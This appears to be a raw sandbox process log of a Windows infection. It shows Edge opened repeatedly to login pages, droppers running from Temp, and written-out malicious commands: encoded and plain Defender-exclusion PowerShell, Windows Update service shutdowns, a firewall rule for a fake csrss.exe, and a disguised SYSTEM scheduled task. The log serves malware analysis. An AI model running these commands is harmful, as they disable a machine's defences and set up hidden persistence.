"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2020,7741405865084928103,4007686249654325144,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2020,7741405865084928103,4007686249654325144,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2032 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2692 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x178,0x17c,0x180,0x154,0x184,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,12883473234298402068,4203522989047371143,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,12883473234298402068,4203522989047371143,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,1444094594452981357,2909767106865793937,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3972 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4112 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4304 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4332 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5352 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5604 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x144,0x170,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4588 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6176 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6364 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6328 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2lY4747.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2lY4747.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6400 /prefetch:1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6672 -ip 6672

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3nt82Li.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3nt82Li.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6672 -s 552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6892 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6856 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6268 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6268 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7604 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7764 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7736 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7gJ6NA61.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7gJ6NA61.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7924 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6708 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,2971006859295362543,248383201375412103,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8140 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\575.exe

C:\Users\Admin\AppData\Local\Temp\575.exe

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Users\Admin\AppData\Local\Temp\631.exe

C:\Users\Admin\AppData\Local\Temp\631.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1080 -ip 1080

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 792

C:\Users\Admin\AppData\Local\Temp\3253.exe

C:\Users\Admin\AppData\Local\Temp\3253.exe

C:\Users\Admin\AppData\Local\Temp\34E4.exe

C:\Users\Admin\AppData\Local\Temp\34E4.exe

C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe

"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\3775.exe

C:\Users\Admin\AppData\Local\Temp\3775.exe

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\34E4.exe

C:\Users\Admin\AppData\Local\Temp\34E4.exe

C:\Users\Admin\AppData\Local\Temp\latestX.exe

"C:\Users\Admin\AppData\Local\Temp\latestX.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcACoALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlAA==

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Roaming\Tags\Settings.exe

C:\Users\Admin\AppData\Roaming\Tags\Settings.exe

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Users\Admin\AppData\Local\Temp\EC6F.exe

C:\Users\Admin\AppData\Local\Temp\EC6F.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0
